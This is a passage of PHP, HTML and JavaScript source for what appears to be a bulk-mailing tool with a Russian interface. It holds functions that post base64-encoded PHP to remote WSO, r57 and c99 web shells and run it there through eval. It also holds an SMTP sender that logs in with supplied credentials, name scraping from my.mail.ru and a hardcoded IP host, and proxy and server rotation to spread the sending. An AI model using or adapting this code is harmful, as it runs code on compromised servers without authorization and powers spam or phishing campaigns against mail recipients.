$target=str_replace('[FROM-EMAIL]', $email[frommail], $target); $target=str_replace('[THEME]', $email[tema], $target); foreach ($email[additional] as $key => $value) { $target=str_replace('[ADD'.$key.']', preg_replace('/\s/', '', $value), $target); } if(preg_match_all('/\[(DATE|DAY|MONTH|YEAR|TIME|HOUR|MINUTE|SECOND)([+-]\d+)*\]/', $target, $arr)) { foreach ($arr[0] as $key => $value) { switch ($arr[1][$key]) { case 'DATE': $txt_val=date("d.m.Y", strtotime(intval($arr[2][$key])." day")); break; case 'DAY': $txt_val=date("d", strtotime(intval($arr[2][$key])." day")); break; case 'MONTH': $txt_val=date("m", strtotime(intval($arr[2][$key])." month")); break; case 'YEAR': $txt_val=date("Y", strtotime(intval($arr[2][$key])." year")); break; case 'TIME': $txt_val=date("H:i", strtotime(intval($arr[2][$key])." minute")); break; case 'HOUR': $txt_val=date("H", strtotime(intval($arr[2][$key])." hour")); break; case 'MINUTE': $txt_val=date("i", strtotime(intval($arr[2][$key])." minute")); break; case 'SECOND': $txt_val=date("s", strtotime(intval($arr[2][$key])." second")); break; default: $txt_val=''; break; } $target=str_replace($value, $txt_val, $target); } } if(preg_match_all('/\[RAND\]/', $target, $arr, PREG_PATTERN_ORDER)) { foreach ($arr[0] as $key => $value) { $target=preg_replace("/\[RAND\]/", rand(5000,6000), $target, 1); } } if(preg_match_all('/\[RAND\-(\d+)\-(\d+)\]/', $target, $arr, PREG_PATTERN_ORDER)) { foreach ($arr[0] as $key => $value) { $target=preg_replace("/".str_replace(array("[","]"), array("\[","\]"), $value)."/", rand($arr[1][$key],$arr[2][$key]), $target, 1); } } if(preg_match_all('/\[RAND:([^\[\]]+?)\]/u', $target, $arr, PREG_PATTERN_ORDER)) { foreach($arr[0] as $key => $value) { $words=explode("|",$arr[1][$key]); $target=str_replace($value, $words[array_rand($words)],$target); } } if(preg_match_all('/\[RAND-FILE:([^\[\]]+?)\]/u', $target, $arr, PREG_PATTERN_ORDER)) { foreach($arr[0] as $key => $value) { $fil = file($arr[1][$key]); $c=count($fil); $target=preg_replace('/\[RAND-FILE:([^\[\]]+?)\]/u', $fil[rand(0,$c-1)], $target, 1); } } if(preg_match_all('/\[BASE64:([^\[\]]+?)\]/u', $target, $arr, PREG_PATTERN_ORDER)) { foreach($arr[0] as $key => $value) { $target=preg_replace('/\[BASE64:([^\[\]]+?)\]/u', base64_encode($arr[1][$key]), $target, 1); } } if(preg_match_all('/\[MAILRU-NAME:([^\[\]]+?)\]/u', $target, $arr, PREG_PATTERN_ORDER)) { foreach($arr[0] as $key => $value) { $mail=explode('@',$email[to]); $l=$mail[0]; $mail=explode('.',$mail[1]); $d=$mail[0]; if ($tmp = file_get_contents("//my.mail.ru/$d/$l/")) { $tmp=explode('itemprop="name"',$tmp); $tmp=explode('title="',$tmp[1]); $tmp=explode('"',$tmp[1]); $target=preg_replace('/\[MAILRU-NAME:([^\[\]]+?)\]/u', ', '.$tmp[0], $target, 1); } else $target=preg_replace('/\[MAILRU-NAME:([^\[\]]+?)\]/u', '', $target, 1); } } if(preg_match_all('/\[MRU-NAME:([^\[\]]+?)\]/u', $target, $arr, PREG_PATTERN_ORDER)) { foreach($arr[0] as $key => $value) { $c = curl_init('//88.198.51.194/~diego531/my/tst/mail-name.php?mail='.$email[to]); curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); $page = curl_exec($c); curl_close($c); if ($page) { $tmp=explode('itemprop="name"',$tmp); //$tmp=explode('title="',$tmp[1]); //$tmp=explode('"',$tmp[1]); $target=preg_replace('/\[MRU-NAME:([^\[\]]+?)\]/u', $page, $target, 1); } else $target=preg_replace('/\[MRU-NAME:([^\[\]]+?)\]/u', '', $target, 1); } } } function makeAttach($attachedFiles, $boundary) { $data=""; foreach ($attachedFiles as $index => $file) { $data.="--$boundary\n"; $data.="Content-Type: ".$file['type']."; name=\"".$file['name']."\"\n"; $data.="Content-Transfer-Encoding:base64\n"; $data.="Content-ID: <".md5($file['name']).">\n\n"; $data.=chunk_split($file['content'])."\n"; } return $data; } function wso2exec($url, $pass, $code) { $postdata = http_build_query( array( 'pass' => $pass, 'a' => 'RC', 'p1' => trim($code) ) ); return get_content($url, $postdata, 10); } function r572exec($url, $login, $pass, $code, $timeout=10) { $str_start=randomstr(); $str_end=randomstr(); $eval_sub='eval(base64_decode($_POST["debug_value_fgtr"]));'; $eval_sub="echo('".substr($str_start,0,4)."'.'".substr($str_start,4,4)."');".$eval_sub."die('".substr($str_end,0,4)."'.'".substr($str_end,4,4)."');"; $post='php_eval='.urlencode($eval_sub).'&dir=.%2F&cmd=php_eval&submit=exec&debug_value_fgtr='.urlencode(base64_encode($code)); if(!empty($pass) && !empty($login)){ $post.='&auth_user='.urlencode($login).'&auth_pass='.urlencode($pass); $headers=array('Authorization: Basic '.base64_encode($login.':'.$pass)); }else{ $headers=array(); } $headers[]='Content-type: application/x-www-form-urlencoded'; $opts = array('http' => array( 'method' => 'POST', 'proxy' => (defined('PROXY'))?('tcp://' . PROXY):null, 'header' => implode(PHP_EOL, $headers), 'timeout' => $timeout, 'content' => $post ) ); //print_r($opts); $context = stream_context_create($opts); $response=@file_get_contents($url, false, $context); $response=strstr($response, $str_start); $response=str_replace(array($str_end, $str_start), "", $response); return $response; } function c992exec($url, $login, $pass, $code, $timeout=10) { $str_start=randomstr(); $str_end=randomstr(); $eval_sub='eval(base64_decode($_POST["debug_value_fgtr"]));'; $eval_sub="echo('".substr($str_start,0,4)."'.'".substr($str_start,4,4)."');".$eval_sub."die('".substr($str_end,0,4)."'.'".substr($str_end,4,4)."');"; $post='act=eval&eval='.urlencode($eval_sub).'&d=.%2F&eval_txt=1&debug_value_fgtr='.urlencode(base64_encode($code)); if(!empty($pass) && !empty($login)){ $headers=array('Authorization: Basic '.base64_encode($login.':'.$pass)); }else{ $headers=array(); } $headers[]='Content-type: application/x-www-form-urlencoded'; $opts = array('http' => array( 'method' => 'POST', 'proxy' => (defined('PROXY'))?('tcp://' . PROXY):null, 'header' => implode(PHP_EOL, $headers), 'timeout' => $timeout, 'content' => $post ) ); //print_r($opts); $context = stream_context_create($opts); $response=@file_get_contents($url, false, $context); $response=strstr($response, $str_start); $response=str_replace(array($str_end, $str_start), "", $response); return $response; } function smtpexec($url, $login, $pass, $code, $timeout=10) { function get_data($smtp_conn) { $data=""; while($str = fgets($smtp_conn,515)) { $data .= $str; if(substr($str,3,1) == " ") { break; } } return $data; } list($serv,$port)=explode(":", $url); if ($port!=25) {$con='ssl://';} else $con=''; $smtp_conn = fsockopen("$con$serv", $port, $errno, $errstr, 10); $data = get_data($smtp_conn); if (!stripos(" ".$data,'220')){return " $data"; exit();} fputs($smtp_conn,"EHLO mail.ru\r\n"); $data = get_data($smtp_conn); if (!strpos(" ".$data,'250')){return " $data"; exit();} fputs($smtp_conn,"AUTH LOGIN\r\n"); $data = get_data($smtp_conn); if (!strpos(" ".$data,'334')){return " $data"; exit();} fputs($smtp_conn,base64_encode($login)."\r\n"); $data = get_data($smtp_conn); if (!strpos(" ".$data,'334')){return " $data"; exit();} fputs($smtp_conn,base64_encode($pass)."\r\n"); $data = get_data($smtp_conn); if ($pass!='null') { if (!strpos(" ".$data,'235')){return " $data"; exit();} } //fputs($smtp_conn,"MAIL FROM: ".$code['from']."\r\n"); fputs($smtp_conn,"MAIL FROM: <$login>\n"); $data = get_data($smtp_conn); if (!strpos(" ".$data,'250')){return " $data"; exit();} fputs($smtp_conn,"RCPT TO: <".$code['to'].">\n"); $data = get_data($smtp_conn); if (!strpos(" ".$data,'250')){return " $data"; exit();} fputs($smtp_conn,"DATA\n"); $data = get_data($smtp_conn); if (!strpos(" ".$data,'354')){return " $data"; exit();} fputs($smtp_conn,str_replace("<smtp>","<$login>",$code['header']).$code['content']."\r\n.\r\n"); $data = get_data($smtp_conn); if (!strpos(" ".$data,'250')){return " $data"; exit();} fputs($smtp_conn,"QUIT\r\n"); $data = get_data($smtp_conn); if (!strpos(" ".$data,'221')){return " $data"; exit();} return 'sended'; //$file=fopen("log-full.txt","a+"); //fwrite($file,$code); //fclose($file); } function randomstr($int=8){ $str=''; $arr='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; for($i=0;$i<$int;$i++) $str.=$arr{rand(0,61)}; return $str; } function get_content($url, $post,$timeout) { $opts = array('http' => array( 'method' => 'POST', 'proxy' => (defined('PROXY'))?('tcp://' . PROXY):null, 'header' => 'Content-type: application/x-www-form-urlencoded', 'timeout' => $timeout, 'content' => $post ) ); $context = stream_context_create($opts); return @file_get_contents($url, false, $context); } ?> <html> <head> <title><?php tr('name',false); ?> <?php echo VERSION;?></title> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <script type="text/javascript" src="//code.jquery.com/jquery-1.9.1.min.js"></script> <link href="//netdna.bootstrapcdn.com/bootswatch/2.3.0/united/bootstrap.min.css" rel="stylesheet"> <link rel="shortcut icon" type="image/x-icon" href="data:image/png;base64,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" /> <style> body { background-color: WHITE; } .content { margin: 0 auto; background-color: #fcf2d4; width: 1000px; padding: 5px; border: 1px solid black; border-radius: 5px; } #console { margin: 0 auto; padding: 5px; border-radius: 5px; } #ext-console { padding: 5px; border-radius: 5px; overflow-y: scroll; height: 620px; text-align: left; } a:link { color: #000; } a:visited { color: #000; } .miniimput { font-family: Tahoma,Geneva,sans-serif; font-size: 14pt; border-color: 336699; border-style: inset; border-width: 2px; } #upload_button { display: inline-block; width: 24px; height: 24px; background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAADb0lEQVR42q2Va2gUVxTH/3dmdxMza8QQrRa0VFGjNEWzVCIENz4aX6C2H6wWRD8KVQpRCxUfQRDU2hbRD2o+iFqqtPUVo2ts89iqNRojLT7S7NZHTNwYsxs3j83uZmbu6ZkNSARFs+uB4V7m3vv/3fOYMwIpWJGnnYQCVMwbIV63RwxGcKAVlrfThmkaasMmahqjuPL5yFdqJQWYWfaMilncnmZHU1zC+6AHjx5HcX3lGJEywH36Ka1zDcUopwNXwwZsHKJ0m8C5W8/xLBDFrTXjRNIA15EWWvpxBmZ/4ERVB4sTYBJB8ihZyuNtRaw7jn/WTxGDBuSWNtEXeUNRMNaJypAOhYVNC8DqpuQN1lwFqioDiHVG0bB1qnhrQN7Bh/QZhyXnvQyUP4kjN8uBll5WTUDYA4b0xEzE+J0uBBouN0Pvi+O/nfnijYC8/X6yxj5DwtBN9Pbo+O2riThwPwaFj5t8fVIEfPfCCNxphcKuCOuRlFySx35bT8e+zsHexjjsfHudhawItTQ+R+huAA/3u5NPsmXvF9fS4Y0fYfffEdj4uOREGPw+6OtAV0MATaVzUgOMWuOlQ5tc2FHXBc4pDAaYLNPpCyLua0bz0UWpAUau/p32leRj859hOPh0X5+EVAVi/iDo/mMETixNDZC9/ALt2ePGN54Q7Gp/iEzitPpb+XmE4JllqQGw8CyNn5SFpjtPYVdkooosk8RVFuP51ZUvA8rOVwyRUm6VRPG30eeKlJoDEf4GdEVR6MUV+0dFSqRH4kjneTqvbxe/niprn/GJK1vlpkI0aH8GhEJwX7InRpMMGIaOv+rqg+La9ZuUP92VvPIAq2urRigaQsHo+XCmOVF7ox6iuvoyFRYWMNFIWlgVKtoibdhyezEyhwSRS9uw2rUKNTVXIC5UVFLRnJlcbnpKgEB3AAtPTsaI0RqWaCUonrsWnktVEKfOlFPRp7Oh6zqE1Zre3J5eEX/AoabB3+bnxgd8mD0GdocDFy/9AfHT8V9owby56OgIo6e7G0JRkvLCgijsiVWumqZheNYweCoYUHr4CM1yu+Hz+3Gv4V+oqpp0qCwzTRNTJudg4oQJqPZ6IXZ99yN9uWJ5Islct/1hSsEo8X+QsNls+Pn4CYhNm0u+1zK04sxhmYnFd2HWJbs6uxDpjfzwP0ptjebUDXW8AAAAAElFTkSuQmCC); } #help-screen,#settings-screen,#preview-screen { display: none; } #done { background-color: YellowGreen; width: 0; height: 15px; padding: 0; margin: 0; border-radius: 5px; } .addfield { font-family: "Arial Black","Gadget",sans-serif; font-size: 30px; color: #04bf0a; -moz-user-select: none; -khtml-user-select: none; user-select: none; cursor: pointer; } #makebold { font-weight: bold; } #makeitalic { font-style: italic; } #makeunderline { text-decoration: underline; } .button { padding: 5px 10px; display: inline; background: #777 url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAABkCAYAAABHLFpgAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAALdJREFUeNrEjkEWwiAQQyGlwOAN3Hv/m3UnA62vONF2p25lkfeTwAx+CuEWYgguxBgdYoo7YkwDOWeKDEjOO6TQStlRXlkRIylGl3JQYSaFJGxJIq9M2No9OYbuSOncYXuHWZN5Nglhcm6M4eDsfJDrt+Jv8vO7hyzL4rFtD8rmsPbu0bcOtEZq6tG0eVSKqlqhldao1grL2NY728qMhdozfbfqz3sc1dpBnYvMeqyrbet99U8BBgCRTXT4kGguQQAAAABJRU5ErkJggg==) repeat-x bottom; border: 0; color: #fff; cursor: pointer; font-weight: bold; border-radius: 5px; -moz-border-radius: 5px; -webkit-border-radius: 5px; text-shadow: 1px 1px #666; margin: 0 5px; } .button:hover { background-position: 0 -48px; } .button:active { background-position: 0 top; position: relative; top: 1px; padding: 6px 10px 4px; } #attachedFiles .File a { color: RED; font-weight: bold; text-decoration: none; font-family: 'Arial Black',Gadget,sans-serif; } #attachedFiles div { display: inline-block; width: 24px; height: 24px; background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAFF0lEQVR42o2Ve0xTVxjAv9MWOhRruRMsbx1YkJeiYMRlQ+PmYuZ0Y1NReagZwwm4LdkW/9hmzLYYTYwIQaPDsclwxsnclszXdGEzivJYeRVWHlIK8tbbF31B+XZuKUmvtLiTnN4v55x+v/M9DwHn+Pz0eVEFu7BBHiCJmUTklgjAlEBFp0xc1hySPtjX62jqC0zxntWRRnAzyLSwJD7RN+KDU4by9EQcNdvoBqcM0OUcTn/pgND5PlBeoyFib+HIbdXA8U1LA47tSI7A2QDSxQdK2KI346HzsZGqF3jSD5yFq0MZeOPMPfglJwVuqIa1lY29xdtj/Q/tWi3HWQElaQnYzY5RgGcLOEBSkBQ2n60mFdnJOMdLCNdUIxPXlX1nU8PmfbZvbZx2BkBOAYso4PTbCajWmkFAfURVovPUlOz8coDEwPnwVul98nvuGhwx2cBHJCRX24asf6r6v305ZE7ee+uW4QxAOAV8884y0OjMQIjnGE9SMUEmgW3f14LNNgETdMFOZ3ZyGPzcNjiBN09Jbl2uMPMBCRRQUMKe27ocH+nNs7qIC7JELIIQiQ/vjFgkwM3fPQB1cQHT3vSP1i2gbNtyHDBYuct6dBE4taJrKtPdIMlzuOeSAnrcAaIoIIwCzqevgEGjxaHLUxbxc2RaP4DMVwxZFxWgKc73U3kC/LBjBQ6PcXXwbAJ3Bl3O+M/1xowf66GnKJ9pb1a4B1zYuRJHTc8GEJpmAu7H4SNHahHGxwt3XqgD9ck8pqOlwQ0gv4S9mLESWVrJ/LbgmkaAXPx1T1gY6R/gRJwrkcDC0GAK8Mbt5bWgLtpPAY3uAT9lJoHWMu7x+tylR4dG4N+WNhgcZR2rRoMRQsKDYeuWDZBWRrPo5D6/DmWTe0BlVhLqrRP8CDplLnVFIhE+6tHArdt3YOOmV2kvEmN9jQJ6+wdJQe4u3HyuGroL32c6W58CcK1iEY3BlexkGLPZnTuu+gGEQiH8VXUXdDo9DA2PQl7ebkeBKWoaoK6pFT7MzYDXS6vhYWGuX1drMx+weGm8NPKjM+ylzCR0uugpCwgKvYTkj9+uoX7MBBaLFTKz04lJy6JarYG6ZhXJz9mFabTQOo/nMN2qVj5gUVSMVP5xKVu4JQ5Vo0ZnJbsGGVAgEhG2/h7qjCawWq0QnbqedNypwkCZPyh7Bkhm1nYsqFSA6uhepqdTxQeEy2OkUZ+Usidpu+6gAIGAzAiyQCiCx3V34bHeAOO2cVi2YSN0378D0vnzQKkegMysdMi/rIC2I7v9eh+28wFhS5ZKoz8957CgnQM83YsojwLIk/q72PloGBaHyADtdqIzWTB44fPQ3NVHMrLSqQUN0Hokm+l72MEHhERGS+MOltFWkThVaI4Md7rIIdMsomY9uHkDzSCkgECwWcxE4seg1WyC+uY2krNnJ2ZcqIeWrzOZvu5OPiA4IkoqfrdoUO4vEU/ijJfPMez0lXtN0AdCqwk0c4JhEHzgpQBvWGAegl/bhuBJYCx0DGktljP7A/vVXXxAbMpaH2V1VQQV58IsQxYUGr8398DhmGi5zNtLJNAbx2xNLcreomOHd9PtcTrHYpPXdClr7/Hfg6xDJ0hj1XUx9YaQ8whxdhlCJy0u7oVzeMxiNDAmnfYVJkCWQpe8JyftuoHenpsLgkKrqTYr/Yd9+YvrrGXHvuC/aP935Bz8UvT31SsS2o59ucTibr1q7QZDbOIqQ9mJr2b49j9nY543+33RowAAAABJRU5ErkJggg==); } #TIMEOUT_RANGE { display: inline-block; margin-left: 20px; vertical-align: middle; width: 300px; } .alexus-range,.alexus-range .crange { height: 20px; padding: 0; } .alexus-range .crange { background-color: Orange; } .alexus-range,.alexus-range .crange,.alexus-range .range-controller { -webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px; } .alexus-range { width: 100%; background-color: white; text-align: left; margin-top: 10px; margin-bottom: 10px; } .alexus-range .crange { width: 0; } .alexus-range .range-controller { width: 15px; height: 25px; margin-top: -24px; margin-left: 0; cursor: pointer; padding: 0; } .barcounter { position: absolute; text-align: center; width: 700px; } .txtinput { height: 28px; min-height: 28px; } .form-horizontal .control-label { width: 250px; } .form-horizontal .controls { margin-left: 260px; } .button.white { background-color: NavajoWhite; color: #000; text-shadow: 1px 1px NavajoWhite; } .button.large { font-size: 125%; padding: 7px 12px; } .button.large:hover { background-position: 0 -35px; } .button.large:active { padding: 8px 12px 6px; background-position: 0 top; } h2 { margin-top: -15px; } #prime img, #help img, #settings img { height: 24px; } </style> <style type="text/less"> .status { padding: 5px; /*.header { b { display: inline-block; margin-top: -7px; } i { display: block; float: right; margin-top: -3px; } } .data { padding-top: 10px; }*/ .controls { text-align: right; float: right; } } </style> <script src="//cdnjs.cloudflare.com/ajax/libs/less.js/1.4.1/less.min.js" type="text/javascript"></script> <script> var Done=new Array(); var toDo=new Array(); var additional=new Array(); var toDoSize=0; var enumer=0; var attachedFiles=new Array(); var outServers={ active: false, position: 0, servers: new Array(), servers_hash: "", updateServers: function() { if(this.servers_hash==$("#out_servers").val()) return; this.servers_hash=$("#out_servers").val(); var tmpservers=this.servers_hash.split("\n"); this.servers=[]; for(var i in tmpservers) { if(tmpservers[i].length<3) continue; this.servers.push(tmpservers[i]); } this.position=0; }, getServer: function() { if(this.position>=this.servers.length) this.position=0; var serv=this.servers[this.position]; this.position++; return serv; } } var threadNum=4; var timeoutNum=0; var AddNum=1; var status="stop"; function ChangePass(login, pass) { $.post('<?php print $_SERVER['PHP_SELF'];?>?changepass',{login:login,pass:pass}, function(data) { var response=$.parseJSON(data); if(response['result']=='ok') $("#passchangesuccess").show(); else $("#passchangeerror").show(); }); } function pingoutservers() { var servers=$("#out_servers").val(); if(servers=="") return; $.post('<?php print $_SERVER['PHP_SELF'];?>?pingoutservers',{servers:servers}, function(data) { $("#out_servers").val(data); }); } function Send(){ enumer=0; if($("#use_out_servers").is(':checked')) { outServers.updateServers(); outServers.active=true; } else { outServers.active=false; } toDo=$("#to").val().split("\n"); toDoSize=toDo.length; SetProgressBar(0,"0/"+toDoSize); ResumeSendMail(); } function PauseSendMail() { status="pause"; $("#PauseSendMail").prop("disabled",true); $("#ResumeSendMail, #StopSendMail").prop("disabled",false); $(".status span").removeClass("label-success label-warning").addClass("label-danger").text("пауза"); } function ResumeSendMail() { status="start"; $("#ResumeSendMail").prop("disabled",true); $("#PauseSendMail, #StopSendMail").prop("disabled",false); $(".status span").removeClass("label-danger label-warning").addClass("label-success").text("рассылка"); for(var i=0; i<threadNum; i++) SendMail(); } function StopSendMail() { status="stop"; StopSendMailHandler(); } function Preview(){ var params={ to :"null@null.null", fromname:ReplaceEnum($("#fromname").val(), false), frommail:ReplaceEnum($("#frommail").val(), false), replymail:ReplaceEnum($("#replymail").val(), false), tema :ReplaceEnum($("#tema").val(), false), type :$("#type").val(), text :ReplaceEnum($("#text").val()) }; if(additional.length==0) $(".additional").each(function(){ additional.push(ReplaceEnum($(this).val())); }); else $(".additional").each(function(index, value){ if(index<additional.length) return; additional.push(ReplaceEnum($(this).val())); }); for(i in additional) { params["additional["+i+"]"]=additional[i]; } $.post('<?php print $_SERVER['PHP_SELF'];?>?preview', params, function(data){ if($("#type").val()=='text') showPreviewWindow('data:text/plain;charset=utf-8;base64,'+Base64.encode(data)); else showPreviewWindow('data:text/html;charset=utf-8;base64,'+Base64.encode(data)); }); } function StopSendMailHandler() { //alert("Рассылка завершена!"); $(".status span").removeClass("label-success label-danger").addClass("label-warning").text("простаиваем"); $(".status .btn").prop("disabled",true); } function SendMail() { if(status=="pause") return; else if(status=="stop") { //toDo=[]; //toDoSize=0; //SetProgressBar((toDoSize-toDo.length)/(toDoSize/100),(toDoSize-toDo.length)+"/"+toDoSize); return; } var email=toDo.pop(); if(!email || email=="" || email==" ") { //останавливаем остальные потоки и генерируем событие окончания рассылки status="stop"; StopSendMailHandler(); return; } additional=new Array(); if(email.indexOf(";")!=-1) { var emailadds=email.split(";"); for(var adds in emailadds) { if(adds==0) email=emailadds[0]; else additional.push(emailadds[adds]); } } var params={ to :email, fromname:ReplaceEnum($("#fromname").val(), false), frommail:ReplaceEnum($("#frommail").val(), false), replymail:ReplaceEnum($("#replymail").val(), false), tema :ReplaceEnum($("#tema").val(), false), type :$("#type").val(), captcha_code:$("input[name=captcha_code]").val(), text :ReplaceEnum($("#text").val()) }; //1.6.5 (16.09.2013) прокси if($("#use_proxy_server").is(":checked")) params['PROXY']=$("#proxy_server_uri").val(); if(attachedFiles.length!=0) params['files']=JSON.stringify(attachedFiles); if(additional.length==0) $(".additional").each(function(){ additional.push(ReplaceEnum($(this).val())); }); else $(".additional").each(function(index, value){ if(index<additional.length) return; additional.push(ReplaceEnum($(this).val())); }); for(i in additional) { params["additional["+i+"]"]=additional[i]; } if(outServers.active) params["outserver"]=outServers.getServer(); $.post('<?php print $_SERVER['PHP_SELF'];?>?send', params, function(data){ if(data=="CAPTCHA ERROR") { $("#console").html("<?php tr('badcaptcha');?>"); $("#console").css("background-color","Tomato"); return; } else if(data=="OUT OF LIMIT") { $("#console").html("<?php tr('sendlimit');?>"); $("#console").css("background-color","Tomato"); return; } $("#console").html(data); $("#console").css("background-color","YellowGreen"); var email=data.split(" "); Done.push(email[2]); DrawDone(); SetProgressBar((toDoSize-toDo.length)/(toDoSize/100),(toDoSize-toDo.length)+"/"+toDoSize); if(timeoutNum==0) SendMail(); else setTimeout(function(){SendMail()},timeoutNum*1000); }); } function SetProgressBar(count,text) { var psize=parseInt($("#progressbar").css("width"))/100; $("#progressbar .bar").css("width",count+"%"); $("#progressbar .barcounter").text(text); } function DrawDone() { $("#ext-console").html(""); var txt=""; for(i in Done) { txt=Done[i]+"<br>"+txt; } $("#ext-console").html(txt); } function dThreads(){ if(threadNum==1) return; threadNum--; ShowThreads(); } function iThreads(){ if(threadNum==100) return; threadNum++; ShowThreads(); } function ShowThreads() { $("#THREADS").text(threadNum); } function ShowUpload() { $("#FileUploadDialog").modal("show"); } function HideUpload() { $("#FileUploadDialog").modal("hide"); } function HideAttache() { $("#univarsalUpload").hide(); } function showUniversalUpload() { if($("#univarsalUpload").css("display")=="none") { $("#univarsalUpload").children(".modal-body").children("iframe").attr("src","<?php print $_SERVER['PHP_SELF'];?>?upload_universal"); $("#univarsalUpload").modal("show"); } else $("#univarsalUpload").modal("hide"); } function UploadClickHandler(object) { $(object).parent().parent().children(".modal-body").children("iframe").contents().find("form").submit(); } window.uploadFinishedHandler=function(data) { if(data==null) return; var file=$.parseJSON(Base64.decode(data)); attachedFiles.push(file); updateFileList(); $("#univarsalUpload").modal("hide"); } function updateFileList() { $("#attachedFiles").html(""); for(var file in attachedFiles) { if(file=='remove') continue; $("#attachedFiles").html($("#attachedFiles").html()+(file!=0?"<br>":"")+"<i class='icon-file'></i> "+attachedFiles[file]['name']+" <button class='btn' onclick='removeFile("+file+");return false'><?php tr('delete',false);?></button>"); } } function removeFile(id) { delete attachedFiles[id]; updateFileList(); } function TogleLoadSave() { if($("#LoadSaveDialog").css("display")=="none") { $("#LoadSaveDialog").find("iframe").attr("src","<?php print $_SERVER['PHP_SELF'];?>?loadsave"); $("#LoadSaveDialog").modal("show"); } else { $("#LoadSaveDialog").modal("hide"); } } function upload_finished(data) { $("#to").val(data.replace(new RegExp(" ",'g'),"\n")); $("#FileUploadDialog").children("iframe").attr("src","<?php print $_SERVER['PHP_SELF'];?>?upload_form"); HideUpload(); } function AddField(object) { $(object).parent().parent().after('<br><div class="input-prepend"><span class="add-on">[ADD'+AddNum+']</span></div> <input type="text" name="additional'+AddNum+'" id="additional'+AddNum+'" class="input-xlarge txtinput additional" placeholder="<?php tr('addfield2',false);?> 